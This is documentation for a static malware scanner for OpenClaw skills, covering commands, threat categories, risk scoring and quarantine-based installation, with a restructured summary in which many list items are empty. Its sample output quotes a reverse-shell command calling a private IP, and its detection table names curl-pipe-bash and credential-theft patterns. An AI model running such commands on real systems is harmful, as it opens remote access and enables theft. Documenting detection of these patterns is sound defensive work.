Security-first skill management for OpenClaw - like a bomb-sniffing dog for skills. Sniffs out malicious payloads (crypto stealers, keyloggers, reverse shells) before installation. Quarantine → Scan → Install only the safe ones.
---
name: bomb-dog-sniff
version: 1.2.0
description: |
Security-first skill management for OpenClaw - like a bomb-sniffing dog for skills.
Sniffs out malicious payloads (crypto stealers, keyloggers, reverse shells) before installation.
Quarantine → Scan → Install only the safe ones.
author: OpenClaw Security Team
homepage: https://github.com/openclaw/skills/bomb-dog-sniff
---
# bomb-dog-sniff v1.2.0 🐕
**Like a bomb-sniffing dog for OpenClaw skills**
Sniff out malicious skills before they explode in your system. Quarantine → Scan → Install only the safe ones.
## What's New in v1.2.0
### Security Hardening
- **Fixed command injection vulnerabilities** in download functions
- **Added path traversal protection** - Sanitizes all path inputs
- **Secure quarantine** - Randomized directory names with restricted permissions
- **Binary file detection** - Skips binary files to avoid false positives
- **File size limits** - Prevents DoS via huge files
- **ReDoS protection** - Limits regex processing on long lines
### Detection Improvements
- **Smart false positive reduction** - Better context-aware pattern matching
- **Entropy analysis** - Detects encoded/encrypted payloads
- **Test file awareness** - Reduces severity for findings in test files
- **Confidence scoring** - Each finding has confidence level (high/medium/low)
- **13 detection categories** - Added supply chain, prototype pollution, and malicious script detection
### New Patterns
- Supply chain attack indicators (typosquatting, dynamic requires)
- Prototype pollution vulnerabilities
- Malicious npm/yarn scripts
- Browser credential theft
- SSH key theft
- Systemd persistence mechanisms
## Quick Start
```bash
# Sniff out threats before installing
openclaw skill bomb-dog-sniff scan ./downloaded-skill
# Safe install from clawhub (auto-downloads, sniffs, installs if clean)
openclaw skill bomb-dog-sniff safe-install cool-skill
# Audit an already-installed skill
openclaw skill bomb-dog-sniff audit bird
# Batch scan multiple skills
openclaw skill bomb-dog-sniff batch skills-to-audit.txt
```
## Commands
### scan
Scan a skill directory for malicious patterns.
```bash
openclaw skill bomb-dog-sniff scan <path> [options]
Options:
-j, --json Output JSON only
-v, --verbose Show detailed findings
-t, --threshold N Set risk threshold (default: 40)
-h, --help Show help
```
**Example:**
```bash
openclaw skill bomb-dog-sniff scan ./untrusted-skill
openclaw skill bomb-dog-sniff scan -j ./untrusted-skill > report.json
```
**Output:**
```
🔍 Bomb-Dog-Sniff Security Scanner v1.2.0
Target: /home/user/skills/untrusted-skill
🔴 CRITICAL (2)
──────────────────────────────────────────────────
crypto_harvester: scripts/wallet.js:23
Crypto wallet private key harvesting detected
Code: const privateKey = "a1b2c3..."
Confidence: high
reverse_shell: scripts/backdoor.sh:5
Reverse shell or remote code execution detected
Code: bash -i >& /dev/tcp/192.168.1.100/4444
Confidence: high
🟠 HIGH (1)
──────────────────────────────────────────────────
pipe_bash: install.sh:12
Dangerous curl | bash pattern detected
Confidence: high
═══════════════════════════════════════════════════
SCAN SUMMARY
═══════════════════════════════════════════════════
☠️ Risk Score: 75/100
Risk Level: MALICIOUS
Duration: 125ms
Files Scanned: 12/15
Files Skipped: 3 (binary/empty/large)
Findings: 3
Severity Breakdown:
🔴 CRITICAL: 2
🟠 HIGH: 1
📋 Recommendation:
MALICIOUS - Do not install. Found 3 critical security issues.
Scan ID: bds-20260208-a1b2c3d4
```
### safe-install
Download from clawhub/GitHub, scan, and install only if safe.
```bash
openclaw skill bomb-dog-sniff safe-install <source> [options]
Source:
- ClawHub skill name: bird
- GitHub URL: https://github.com/user/skill
- Local path: ./local-skill
Options:
--threshold N Set risk threshold (default: 39)
--dry-run Scan only, don't install
--verbose Show all findings
```
**Example:**
```bash
# Install with default threshold (39)
openclaw skill bomb-dog-sniff safe-install bird
# Stricter threshold
openclaw skill bomb-dog-sniff safe-install cool-skill --threshold 20
# Scan only (dry run)
openclaw skill bomb-dog-sniff safe-install unknown-skill --dry-run
# GitHub source
openclaw skill bomb-dog-sniff safe-install https://github.com/user/cool-skill
```
### audit
Audit an already-installed skill.
```bash
openclaw skill bomb-dog-sniff audit <skill-name> [options]
```
**Example:**
```bash
openclaw skill bomb-dog-sniff audit notion
```
### batch
Scan multiple skills from a list file.
```bash
openclaw skill bomb-dog-sniff batch <list-file>
```
**Example list file (skills.txt):**
```
# My installed skills to audit
bird
notion
gog
slack
./custom-skill
# Commented lines are ignored
# old-skill
```
**Run:**
```bash
openclaw skill bomb-dog-sniff batch skills.txt
```
## Detection Categories
bomb-dog-sniff scans for these threat categories:
| Category | Severity | Examples Detected |
|----------|----------|-------------------|
| **crypto_harvester** | CRITICAL | Private key extraction, wallet exports, mnemonic theft |
| **credential_theft** | CRITICAL | Environment variable exfiltration, config file theft, SSH key theft |
| **reverse_shell** | CRITICAL | Netcat shells, `/dev/tcp/` redirects, socket-based shells, eval of remote code |
| **keylogger** | CRITICAL | Keyboard capture with exfiltration, clipboard theft, password field monitoring |
| **encoded_payload** | HIGH | Base64 execution chains, hex escapes with eval context, obfuscated code |
| **suspicious_api** | HIGH | Pastebin/ngrok/webhook destinations, dynamic URL construction with secrets |
| **pipe_bash** | HIGH | `curl \| bash`, `wget \| sh` patterns |
| **deposit_scam** | HIGH | "Send ETH to 0x...", payment prompts in unexpected contexts |
| **supply_chain** | HIGH | Typosquatting, dynamic requires, suspicious postinstall scripts |
| **prototype_pollution** | HIGH | Dangerous object merging, `__proto__` manipulation |
| **malicious_script** | CRITICAL | Pre/postinstall doing network/exec operations, modifying other packages |
| **network_exfil** | MEDIUM | File reading followed by network transmission |
| **file_tamper** | CRITICAL | `.bashrc` modification, crontab editing, SSH authorized_keys manipulation |
## Risk Scoring
```
0-19 SAFE ✅ Install freely
20-39 LOW ⚠️ Review recommended
40-69 SUSPICIOUS 🚫 Blocked by default
70-100 MALICIOUS ☠️ Never install
```
Each finding adds to the score:
- CRITICAL: +25 points (× confidence multiplier)
- HIGH: +15 points (× confidence multiplier)
- MEDIUM: +5 points (× confidence multiplier)
Confidence multipliers:
- High confidence: 1.0×
- Medium confidence: 0.75×
- Low confidence: 0.5×
Score caps at 100.
## How It Works
### Safe Install Process
```
1. QUARANTINE
└── Skill downloaded to /tmp/bds-q-<random>/
└── Randomized, non-predictable directory name
└── Restricted permissions (0o700)
2. SCAN
├── Check all files against detection patterns
├── Skip binary files, empty files, files >10MB
├── Calculate entropy for encoded payload detection
├── Apply confidence multipliers
└── Generate findings report
3. DECISION
├── Risk > threshold? → BLOCK & DELETE
└── Risk ≤ threshold? → PROCEED
4. INSTALL (if passed)
└── Move from quarantine to skills directory
└── Backup existing installation (max 5 backups)
5. CLEANUP
└── Securely remove quarantine directory
```
### Scanning Details
- **Static analysis only** - No code execution
- **Multi-pattern matching** - 60+ detection patterns
- **Line-level reporting** - Exact file:line for each finding
- **False positive reduction** - Context-aware pattern matching
- **Binary detection** - Automatically skips binary files
- **Symlink loop protection** - Tracks visited inodes
- **Depth limiting** - Max 20 directory levels
- **Test file handling** - Reduces severity for test files
## Configuration
### Environment Variables
```bash
# Set custom skills directory
export OPENCLAW_SKILLS_DIR=/path/to/skills
# Set default risk threshold
export BOMB_DOG_THRESHOLD=25
```
### Per-Skill Configuration
Add to your skill's `package.json`:
```json
{
"bomb-dog-sniff": {
"riskThreshold": 25,
"excludedCategories": ["network_exfil"]
}
}
```
## CI/CD Integration
Add to your CI pipeline:
```yaml
# .github/workflows/skill-security.yml
name: Skill Security Scan
on: [push, pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Scan skills
run: |
for skill in skills/*/; do
echo "Scanning $skill"
node skills/bomb-dog-sniff/scan.js "$skill" || exit 1
done
```
Exit codes:
- `0` - Safe (score below threshold)
- `1` - Error/invalid arguments
- `2` - Risky (score ≥ threshold)
## Programmatic API
```javascript
const { scanSkill } = require('./scan');
const { safeDownload } = require('./safe-download');
// Scan a skill
const report = scanSkill('./path/to/skill', { verbose: true });
console.log(`Risk score: ${report.riskScore}`);
console.log(`Findings: ${report.findings.length}`);
// Safe download and install
const result = await safeDownload('cool-skill', {
autoInstall: true,
riskThreshold: 30,
});
if (!result.success) {
console.error('Installation blocked:', result.reason);
}
```
## Security Limits
To prevent DoS and ensure scanner security:
| Limit | Value | Purpose |
|-------|-------|---------|
| Max file size | 10MB | Prevent memory exhaustion |
| Max line length | 10KB | Prevent ReDoS attacks |
| Max files per scan | 10,000 | Prevent resource exhaustion |
| Max findings per file | 100 | Prevent output flooding |
| Max total findings | 500 | Prevent result flooding |
| Max directory depth | 20 | Prevent infinite recursion |
| Download timeout | 2 minutes | Prevent hanging downloads |
| Max download size | 50MB | Prevent disk exhaustion |
## False Positives
If legitimate code triggers a warning:
1. **Check confidence level** - Low confidence findings are more likely to be false positives
2. **Review the excerpt** - Look at the actual code flagged
3. **Test files are noted** - Findings in `*.test.js` or `__tests__/` have reduced severity
4. **Comments are generally skipped** - Unless they contain suspicious keywords
To report false positives, please include:
- The file content that triggered the false positive
- The pattern category that matched
- Expected behavior
## Best Practices
1. **Always scan before installing** unknown skills
2. **Use `--dry-run`** first for untrusted sources
3. **Set lower threshold** (`--threshold 20`) for critical systems
4. **Audit regularly** - Rescan installed skills periodically
5. **Review CRITICAL findings** - Never ignore critical severity warnings
6. **Check confidence levels** - High confidence = higher priority
## Files
- `SKILL.md` - This documentation
- `scan.js` - Core scanner engine
- `patterns.js` - Detection pattern definitions
- `safe-download.js` - Safe download & install logic
- `scripts/sniff.sh` - CLI wrapper
- `package.json` - Package configuration
- `QUICKSTART.md` - Quick reference guide
## Security Notes
⚠️ **Limitations:**
- Static analysis only (some obfuscation may evade detection)
- Pattern-based (novel attacks may not be detected)
- Not a replacement for manual code review on critical systems
- Cannot detect runtime-only malicious behavior
✅ **Recommendations:**
- Use bomb-dog-sniff as first line of defense
- Review code manually for high-security environments
- Keep patterns.js updated with new threat signatures
- Report false positives and missed detections
- Combine with other security tools for defense in depth
## Changelog
### v1.2.0 (Hardened Edition)
- **SECURITY**: Fixed command injection vulnerabilities in safe-download.js
- **SECURITY**: Added path traversal protection
- **SECURITY**: Secure randomized quarantine directories
- **FEATURE**: Binary file detection and skipping
- **FEATURE**: File size limits (10MB per file, 50MB download)
- **FEATURE**: Entropy analysis for encoded payload detection
- **FEATURE**: Confidence scoring for all findings
- **FEATURE**: Test file awareness with severity reduction
- **FEATURE**: 3 new detection categories (supply_chain, prototype_pollution, malicious_script)
- **IMPROVEMENT**: Better false positive reduction with context-aware matching
- **IMPROVEMENT**: ReDoS protection via line length limits
- **IMPROVEMENT**: Symlink loop protection
- **IMPROVEMENT**: Backup rotation (max 5 backups)
### v1.1.0
- Added `safe-install` command with quarantine workflow
- Added `audit` command for installed skills
- Added `batch` command for multiple skill scanning
- Enhanced detection patterns (50+ signatures)
- Added risk threshold configuration
### v1.0.0
- Initial release with basic scanning
- 10 detection categories
- JSON output format
## License
MIT - See LICENSE file
---
**Stay safe. Scan everything. Trust verified skills only.** 🦞🐕
don't have the plugin yet? install it then click "run inline in claude" again.
restructured original into implexa 6-component format with explicit decision branches for all conditional paths, added edge cases (rate limits, auth expiry, timeouts, path traversal, symlink loops, redog protection), documented external connections with setup guidance, preserved all original procedure steps and detection categories, removed marketing language and added tech-bro voice
bomb-dog-sniff is a static security scanner that detects malicious code patterns in OpenClaw skills before installation. use it to quarantine untrusted skills, scan them against 60+ threat signatures (crypto stealers, keyloggers, reverse shells, supply chain attacks), and only install if the risk score stays below your threshold. this skill is your first line of defense against compromised or malicious skill packages.
required:
optional:
OPENCLAW_SKILLS_DIR: env var pointing to skills installation directory (defaults to ~/.openclaw/skills)BOMB_DOG_THRESHOLD: env var to set default risk threshold (0-100, default 39)package.json: bomb-dog-sniff.riskThreshold and bomb-dog-sniff.excludedCategoriesexternal connections:
GITHUB_TOKEN env var to raise rate limits from 60 to 5000 requests/hour)edge cases requiring setup:
download or locate skill
create isolated quarantine directory
copy skill to quarantine
initialize scan
scan each file against patterns
calculate risk score
min(100, sum of (severity_points * confidence_multiplier))compare risk score to threshold
install skill (if passed)
cleanup quarantine
block and quarantine (if failed step 7)
generate and output report
exit with appropriate code
if user provides local directory path:
if user provides clawhub skill name:
if user provides github url:
if download fails (network timeout, 404, auth error):
if file size exceeds 10MB during scan:
if total download size exceeds 50MB:
if symlink loop detected during copy:
if directory depth exceeds 20 levels:
if line length exceeds 10KB:
if risk score < threshold (step 7 passes):
--dry-run flag provided, skip step 8 and report "would install" insteadif risk score >= threshold (step 7 fails):
--force flag provided (admin override), log security warning and proceed to step 8 anyway (not recommended)if user runs safe-install with CRITICAL findings:
--force flag used with explicit approvalif user runs audit on already-installed skill:
if user runs batch scan on multiple skills:
if OPENCLAW_SKILLS_DIR env var not set:
if BOMB_DOG_THRESHOLD env var not set:
if per-skill config in package.json conflicts with command-line flag:
successful scan (human-readable format):
🔍 Bomb-Dog-Sniff Security Scanner v1.2.0
Target: /path/to/skill
[severity color blocks with findings grouped by severity]
🔴 CRITICAL (N)
pattern_name: file:line
Description
Code: <excerpt>
Confidence: high/medium/low
[repeat for HIGH, MEDIUM, LOW]
═══════════════════════════════════════════════════
SCAN SUMMARY
═══════════════════════════════════════════════════
Risk Score: X/100
Risk Level: SAFE|LOW|SUSPICIOUS|MALICIOUS
Duration: Xms
Files Scanned: N
Files Skipped: N (reason)
Findings: N
Severity Breakdown:
🔴 CRITICAL: N
🟠 HIGH: N
🟡 MEDIUM: N
🟢 LOW: N
📋 Recommendation:
SAFE - Install freely. | REVIEW - Recommended. | BLOCKED - Do not install. | MALICIOUS - Never install.
Scan ID: bds-<date>-<random>
json output (if --json flag):
{
"scanId": "bds-20260208-a1b2c3d4",
"timestamp": "2026-02-08T12:34:56Z",
"target": "/path/to/skill",
"riskScore": 75,
"riskLevel": "MALICIOUS",
"threshold": 39,
"passed": false,
"duration": 125,
"filesScanned": 12,
"filesSkipped": 3,
"findings": [
{
"file": "scripts/wallet.js",
"line": 23,
"category": "crypto_harvester",
"severity": "CRITICAL",
"confidence": "high",
"description": "Crypto wallet private key harvesting detected",
"excerpt": "const privateKey = \"a1b2c3...\""
}
],
"recommendation": "MALICIOUS - Do not install. Found 3 critical security issues."
}
installed skill location:
quarantine location (on block):
backup location (on success):
user knows it worked when: